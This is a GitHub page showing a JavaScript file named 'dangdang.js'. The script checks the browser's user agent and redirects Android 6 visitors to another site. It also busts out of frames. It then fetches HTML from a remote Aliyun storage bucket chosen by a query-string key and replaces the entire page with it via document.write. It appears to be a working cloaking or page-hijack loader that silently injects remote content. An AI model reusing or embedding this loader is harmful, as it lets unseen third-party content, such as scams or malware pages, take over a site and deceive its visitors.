-
Notifications
You must be signed in to change notification settings - Fork 2
/
dangdang.js
104 lines (88 loc) · 2.8 KB
/
dangdang.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
var meta = document.createElement('meta');
meta.setAttribute('charset', 'UTF-8');
document.getElementsByTagName('head')[0].appendChild(meta);
function randomChar(l) {
return Math.random().toString(36).slice(-l);
}
function randomNum(Min, Max) {
var Range = Max - Min;
var Rand = Math.random();
return (Min + Math.round(Rand * Range));
}
function openLink(url) {
if(window !== top) {
top.location = url;
return;
}
var label = document.createElement('a');
label.setAttribute('rel', 'noreferrer');
label.setAttribute('href', url);
try {
document.body.appendChild(label);
} catch (e) {
location = url;
}
label.click();
}
function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
(function () {
function isWx() {
var ua = window.navigator.userAgent.toLowerCase();
if (ua.match(/MicroMessenger/i) == 'micromessenger') {
return true;
} else {
return false;
}
}
function ajax(method, url, data, success, fail) {
let sendData = '';
for (let key in data) {
sendData += '&' + key + '=' + data[key];
}
if (sendData) {
sendData = sendData.slice(1);
}
if (method === 'GET') {
url = sendData ? url + '?' + sendData : url;
sendData = null;
}
const XHR = new XMLHttpRequest();
XHR.onreadystatechange = function () {
if (XHR.readyState !== 4) return;
if (XHR.status === 200 || XHR.status === 304) {
if (typeof success === 'function') success(XHR.response);
} else {
if (typeof fail === 'function') fail(XHR);
}
}
XHR.open(method, url, true);
XHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
XHR.send(sendData);
}
function getAndroidVersion() {
var ua = navigator.userAgent;
var match = ua.match(/Android\s([0-9\.]*)/);
return match ? match[1] : false;
}
var androidVersion = getAndroidVersion();
if (androidVersion && parseInt(androidVersion) == 6) {
location.href='http://www.baidu.com';
return;
}
var xkey = getQueryVariable("xkey")?getQueryVariable("xkey") : "55";
var getLInks = "//runs123.oss-accelerate.aliyuncs.com/public/html2/"+xkey+"/index.html";
ajax('GET', getLInks, {}, function (result) {
document.open();
document.write(result);
document.close();
});
})();